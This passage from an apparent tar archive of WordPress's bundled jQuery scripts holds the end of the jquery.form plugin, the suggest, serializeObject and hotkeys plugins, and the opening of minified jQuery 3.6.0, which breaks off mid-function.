$('input[type=radio]').fieldValue(); * // if neither radio is checked * v === undefined * // if first radio is checked * v === ['C1'] * * The successful argument controls whether or not the field element must be 'successful' * (per http://www.w3.org/TR/html4/interact/forms.html#successful-controls). * The default value of the successful argument is true. If this value is false the value(s) * for each element is returned. * * Note: This method *always* returns an array. If no valid value can be determined the * array will be empty, otherwise it will contain one or more values. */ $.fn.fieldValue = function(successful) { for (var val = [], i = 0, max = this.length; i < max; i++) { var el = this[i]; var v = $.fieldValue(el, successful); if (v === null || typeof v === 'undefined' || (v.constructor === Array && !v.length)) { continue; } if (v.constructor === Array) { $.merge(val, v); } else { val.push(v); } } return val; }; /** * Returns the value of the field element. */ $.fieldValue = function(el, successful) { var n = el.name, t = el.type, tag = el.tagName.toLowerCase(); if (typeof successful === 'undefined') { successful = true; } /* eslint-disable no-mixed-operators */ if (successful && (!n || el.disabled || t === 'reset' || t === 'button' || (t === 'checkbox' || t === 'radio') && !el.checked || (t === 'submit' || t === 'image') && el.form && el.form.clk !== el || tag === 'select' && el.selectedIndex === -1)) { /* eslint-enable no-mixed-operators */ return null; } if (tag === 'select') { var index = el.selectedIndex; if (index < 0) { return null; } var a = [], ops = el.options; var one = (t === 'select-one'); var max = (one ? index + 1 : ops.length); for (var i = (one ? index : 0); i < max; i++) { var op = ops[i]; if (op.selected && !op.disabled) { var v = op.value; if (!v) { // extra pain for IE... v = (op.attributes && op.attributes.value && !(op.attributes.value.specified)) ? op.text : op.value; } if (one) { return v; } a.push(v); } } return a; } return $(el).val().replace(rCRLF, '\r\n'); }; /** * Clears the form data. Takes the following actions on the form's input fields: * - input text fields will have their 'value' property set to the empty string * - select elements will have their 'selectedIndex' property set to -1 * - checkbox and radio inputs will have their 'checked' property set to false * - inputs of type submit, button, reset, and hidden will *not* be effected * - button elements will *not* be effected */ $.fn.clearForm = function(includeHidden) { return this.each(function() { $('input,select,textarea', this).clearFields(includeHidden); }); }; /** * Clears the selected form elements. */ $.fn.clearFields = $.fn.clearInputs = function(includeHidden) { var re = /^(?:color|date|datetime|email|month|number|password|range|search|tel|text|time|url|week)$/i; // 'hidden' is not in this list return this.each(function() { var t = this.type, tag = this.tagName.toLowerCase(); if (re.test(t) || tag === 'textarea') { this.value = ''; } else if (t === 'checkbox' || t === 'radio') { this.checked = false; } else if (tag === 'select') { this.selectedIndex = -1; } else if (t === 'file') { if (/MSIE/.test(navigator.userAgent)) { $(this).replaceWith($(this).clone(true)); } else { $(this).val(''); } } else if (includeHidden) { // includeHidden can be the value true, or it can be a selector string // indicating a special test; for example: // $('#myForm').clearForm('.special:hidden') // the above would clean hidden inputs that have the class of 'special' if ((includeHidden === true && /hidden/.test(t)) || (typeof includeHidden === 'string' && $(this).is(includeHidden))) { this.value = ''; } } }); }; /** * Resets the form data or individual elements. Takes the following actions * on the selected tags: * - all fields within form elements will be reset to their original value * - input / textarea / select fields will be reset to their original value * - option / optgroup fields (for multi-selects) will defaulted individually * - non-multiple options will find the right select to default * - label elements will be searched against its 'for' attribute * - all others will be searched for appropriate children to default */ $.fn.resetForm = function() { return this.each(function() { var el = $(this); var tag = this.tagName.toLowerCase(); switch (tag) { case 'input': this.checked = this.defaultChecked; // fall through case 'textarea': this.value = this.defaultValue; return true; case 'option': case 'optgroup': var select = el.parents('select'); if (select.length && select[0].multiple) { if (tag === 'option') { this.selected = this.defaultSelected; } else { el.find('option').resetForm(); } } else { select.resetForm(); } return true; case 'select': el.find('option').each(function(i) { // eslint-disable-line consistent-return this.selected = this.defaultSelected; if (this.defaultSelected && !el[0].multiple) { el[0].selectedIndex = i; return false; } }); return true; case 'label': var forEl = $(el.attr('for')); var list = el.find('input,select,textarea'); if (forEl[0]) { list.unshift(forEl[0]); } list.resetForm(); return true; case 'form': // guard against an input with the name of 'reset' // note that IE reports the reset function as an 'object' if (typeof this.reset === 'function' || (typeof this.reset === 'object' && !this.reset.nodeType)) { this.reset(); } return true; default: el.find('form,input,label,select,textarea').resetForm(); return true; } }); }; /** * Enables or disables any matching elements. */ $.fn.enable = function(b) { if (typeof b === 'undefined') { b = true; } return this.each(function() { this.disabled = !b; }); }; /** * Checks/unchecks any matching checkboxes or radio buttons and * selects/deselects and matching option elements. */ $.fn.selected = function(select) { if (typeof select === 'undefined') { select = true; } return this.each(function() { var t = this.type; if (t === 'checkbox' || t === 'radio') { this.checked = select; } else if (this.tagName.toLowerCase() === 'option') { var $sel = $(this).parent('select'); if (select && $sel[0] && $sel[0].type === 'select-one') { // deselect all other options $sel.find('option').selected(false); } this.selected = select; } }); }; // expose debug var $.fn.ajaxSubmit.debug = false; // helper fn for console logging function log() { if (!$.fn.ajaxSubmit.debug) { return; } var msg = '[jquery.form] ' + Array.prototype.join.call(arguments, ''); if (window.console && window.console.log) { window.console.log(msg); } else if (window.opera && window.opera.postError) { window.opera.postError(msg); } } })); �������������������������������������������������������������������������js/jquery/suggest.min.js����������������������������������������������������������������������������0000644�����������������00000005661�14717703502�0011316 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������!function(a){a.suggest=function(b,c){function d(){var a=o.offset();p.css({top:a.top+b.offsetHeight+"px",left:a.left+"px"})}function e(a){if(/27$|38$|40$/.test(a.keyCode)&&p.is(":visible")||/^13$|^9$/.test(a.keyCode)&&k())switch(a.preventDefault&&a.preventDefault(),a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0,a.returnValue=!1,a.keyCode){case 38:n();break;case 40:m();break;case 9:case 13:l();break;case 27:p.hide()}else o.val().length!=r&&(q&&clearTimeout(q),q=setTimeout(f,c.delay),r=o.val().length)}function f(){var b,d,e=a.trim(o.val());c.multiple&&(b=e.lastIndexOf(c.multipleSep),-1!=b&&(e=a.trim(e.substr(b+c.multipleSep.length)))),e.length>=c.minchars?(cached=g(e),cached?i(cached.items):a.get(c.source,{q:e},function(a){p.hide(),d=j(a,e),i(d),h(e,d,a.length)})):p.hide()}function g(a){var b;for(b=0;b<s.length;b++)if(s[b].q==a)return s.unshift(s.splice(b,1)[0]),s[0];return!1}function h(a,b,d){for(var e;s.length&&t+d>c.maxCacheSize;)e=s.pop(),t-=e.size;s.push({q:a,size:d,items:b}),t+=d}function i(b){var e,f="";if(b){if(!b.length)return void p.hide();for(d(),e=0;e<b.length;e++)f+="<li>"+b[e]+"</li>";p.html(f).show(),p.children("li").mouseover(function(){p.children("li").removeClass(c.selectClass),a(this).addClass(c.selectClass)}).click(function(a){a.preventDefault(),a.stopPropagation(),l()})}}function j(b,d){var e,f,g=[],h=b.split(c.delimiter);for(e=0;e<h.length;e++)f=a.trim(h[e]),f&&(f=f.replace(new RegExp(d,"ig"),function(a){return'<span class="'+c.matchClass+'">'+a+"</span>"}),g[g.length]=f);return g}function k(){var a;return p.is(":visible")?(a=p.children("li."+c.selectClass),a.length||(a=!1),a):!1}function l(){$currentResult=k(),$currentResult&&(c.multiple?(-1!=o.val().indexOf(c.multipleSep)?$currentVal=o.val().substr(0,o.val().lastIndexOf(c.multipleSep)+c.multipleSep.length)+" ":$currentVal="",o.val($currentVal+$currentResult.text()+c.multipleSep+" "),o.focus()):o.val($currentResult.text()),p.hide(),o.trigger("change"),c.onSelect&&c.onSelect.apply(o[0]))}function m(){$currentResult=k(),$currentResult?$currentResult.removeClass(c.selectClass).next().addClass(c.selectClass):p.children("li:first-child").addClass(c.selectClass)}function n(){var a=k();a?a.removeClass(c.selectClass).prev().addClass(c.selectClass):p.children("li:last-child").addClass(c.selectClass)}var o,p,q,r,s,t;o=a(b).attr("autocomplete","off"),p=a("<ul/>"),q=!1,r=0,s=[],t=0,p.addClass(c.resultsClass).appendTo("body"),d(),a(window).on("load",d).on("resize",d),o.blur(function(){setTimeout(function(){p.hide()},200)}),o.keydown(e)},a.fn.suggest=function(b,c){return b?(c=c||{},c.multiple=c.multiple||!1,c.multipleSep=c.multipleSep||",",c.source=b,c.delay=c.delay||100,c.resultsClass=c.resultsClass||"ac_results",c.selectClass=c.selectClass||"ac_over",c.matchClass=c.matchClass||"ac_match",c.minchars=c.minchars||2,c.delimiter=c.delimiter||"\n",c.onSelect=c.onSelect||!1,c.maxCacheSize=c.maxCacheSize||65536,this.each(function(){new a.suggest(this,c)}),this):void 0}}(jQuery); �������������������������������������������������������������������������������js/jquery/jquery.serialize-object.js����������������������������������������������������������������0000644�����������������00000001401�14717703502�0013610 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery serializeObject - v0.2-wp - 1/20/2010 * http://benalman.com/projects/jquery-misc-plugins/ * * Copyright (c) 2010 "Cowboy" Ben Alman * Dual licensed under the MIT and GPL licenses. * http://benalman.com/about/license/ */ // Whereas .serializeArray() serializes a form into an array, .serializeObject() // serializes a form into an (arguably more useful) object. (function($,undefined){ '$:nomunge'; // Used by YUI compressor. $.fn.serializeObject = function(){ var obj = {}; $.each( this.serializeArray(), function(i,o){ var n = o.name, v = o.value; obj[n] = obj[n] === undefined ? v : Array.isArray( obj[n] ) ? obj[n].concat( v ) : [ obj[n], v ]; }); return obj; }; })(jQuery); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.hotkeys.min.js���������������������������������������������������������������������0000644�����������������00000003401�14717703502�0012627 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������(function(a){this.version="(beta)(0.0.3)";this.all={};this.special_keys={27:"esc",9:"tab",32:"space",13:"return",8:"backspace",145:"scroll",20:"capslock",144:"numlock",19:"pause",45:"insert",36:"home",46:"del",35:"end",33:"pageup",34:"pagedown",37:"left",38:"up",39:"right",40:"down",112:"f1",113:"f2",114:"f3",115:"f4",116:"f5",117:"f6",118:"f7",119:"f8",120:"f9",121:"f10",122:"f11",123:"f12"};this.shift_nums={"`":"~","1":"!","2":"@","3":"#","4":"$","5":"%","6":"^","7":"&","8":"*","9":"(","0":")","-":"_","=":"+",";":":","'":'"',",":"<",".":">","/":"?","\\":"|"};this.add=function(c,b,h){if(a.isFunction(b)){h=b;b={}}var d={},f={type:"keydown",propagate:false,disableInInput:false,target:a("html")[0]},e=this;d=a.extend(d,f,b||{});c=c.toLowerCase();var g=function(j){var o=j.target;if(d.disableInInput){var s=a(o);if(s.is("input")||s.is("textarea")){return}}var l=j.which,u=j.type,r=String.fromCharCode(l).toLowerCase(),t=e.special_keys[l],m=j.shiftKey,i=j.ctrlKey,p=j.altKey,w=j.metaKey,q=true,k=null;while(!e.all[o]&&o.parentNode){o=o.parentNode}var v=e.all[o].events[u].callbackMap;if(!m&&!i&&!p&&!w){k=v[t]||v[r]}else{var n="";if(p){n+="alt+"}if(i){n+="ctrl+"}if(m){n+="shift+"}if(w){n+="meta+"}k=v[n+t]||v[n+r]||v[n+e.shift_nums[r]]}if(k){k.cb(j);if(!k.propagate){j.stopPropagation();j.preventDefault();return false}}};if(!this.all[d.target]){this.all[d.target]={events:{}}}if(!this.all[d.target].events[d.type]){this.all[d.target].events[d.type]={callbackMap:{}};a.event.add(d.target,d.type,g)}this.all[d.target].events[d.type].callbackMap[c]={cb:h,propagate:d.propagate};return a};this.remove=function(c,b){b=b||{};target=b.target||a("html")[0];type=b.type||"keydown";c=c.toLowerCase();delete this.all[target].events[type].callbackMap[c];return a};a.hotkeys=this;return a})(jQuery);���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/jquery.min.js�����������������������������������������������������������������������������0000644�����������������00000256661�14717703502�0011164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[o.call(e)]||"object":typeof e}var f="3.6.0",S=function(e,t){return new S.fn.init(e,t)};function p(e){var t=!!e&&"length"in e&&e.length,n=w(e);return!m(e)&&!x(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}S.fn=S.prototype={jquery:f,constructor:S,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:t.sort,splice:t.splice},S.extend=S.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||m(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)r=e[t],"__proto__"!==t&&a!==r&&(l&&r&&(S.isPlainObject(r)||(i=Array.isArray(r)))?(n=a[t],o=i&&!Array.isArray(n)?[]:i||S.isPlainObject(n)?n:{},i=!1,a[t]=S.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},S.extend({expando:"jQuery"+(f+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==o.call(e))&&(!(t=r(e))||"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.nonce},n)},each:function(e,t){var n,r=0;if(p(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},makeArray:function(e,t){var n=t||[];return null!=e&&(p(Object(e))?S.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:i.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r=[],i=0,o=e.length,a=!n;i<o;i++)!t(e[i],i)!==a&&r.push(e[i]);return r},map:function(e,t,n){var r,i,o=0,a=[];if(p(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&a.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&a.push(i);return g(a)},guid:1,support:y}),"function"==typeof Symbol&&(S.fn[Symbol.iterator]=t[Symbol.iterator]),S.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){n["[object "+t+"]"]=t.toLowerCase()});var d=function(n){var e,d,b,o,i,h,f,g,w,u,l,T,C,a,E,v,s,c,y,S="sizzle"+1*new Date,p=n.document,k=0,r=0,m=ue(),x=ue(),A=ue(),N=ue(),j=function(e,t){return e===t&&(l=!0),0},D={}.hasOwnProperty,t=[],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",W="\\["+M+"*("+I+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+I+"))|)"+M+"*\\]",F=":("+I+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+W+")*)|.*)\\)|)",B=new RegExp(M+"+","g"),$=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),_=new RegExp("^"+M+"*,"+M+"*"),z=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&y(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!v||!v.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ye(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace($,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="<a id='"+S+"'></a><select id='"+S+"-\r\\' msallowcapture=''><option selected=''></option></select>",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0<se(t,C,null,[e]).length},se.contains=function(e,t){return(e.ownerDocument||e)!=C&&T(e),y(e,t)},se.attr=function(e,t){(e.ownerDocument||e)!=C&&T(e);var n=b.attrHandle[t.toLowerCase()],r=n&&D.call(b.attrHandle,t.toLowerCase())?n(e,t,!E):void 0;return void 0!==r?r:d.attributes||!E?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},se.escape=function(e){return(e+"").replace(re,ie)},se.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},se.uniqueSort=function(e){var t,n=[],r=0,i=0;if(l=!d.detectDuplicates,u=!d.sortStable&&e.slice(0),e.sort(j),l){while(t=e[i++])t===e[i]&&(r=n.push(i));while(r--)e.splice(n[r],1)}return u=null,e},o=se.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=o(e)}else if(3===i||4===i)return e.nodeValue}else while(t=e[r++])n+=o(t);return n},(b=se.selectors={cacheLength:50,createPseudo:le,match:G,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1<t.indexOf(i):"$="===r?i&&t.slice(-i.length)===i:"~="===r?-1<(" "+t.replace(B," ")+" ").indexOf(i):"|="===r&&(t===i||t.slice(0,i.length+1)===i+"-"))}},CHILD:function(h,e,t,g,v){var y="nth"!==h.slice(0,3),m="last"!==h.slice(-4),x="of-type"===e;return 1===g&&0===v?function(e){return!!e.parentNode}:function(e,t,n){var 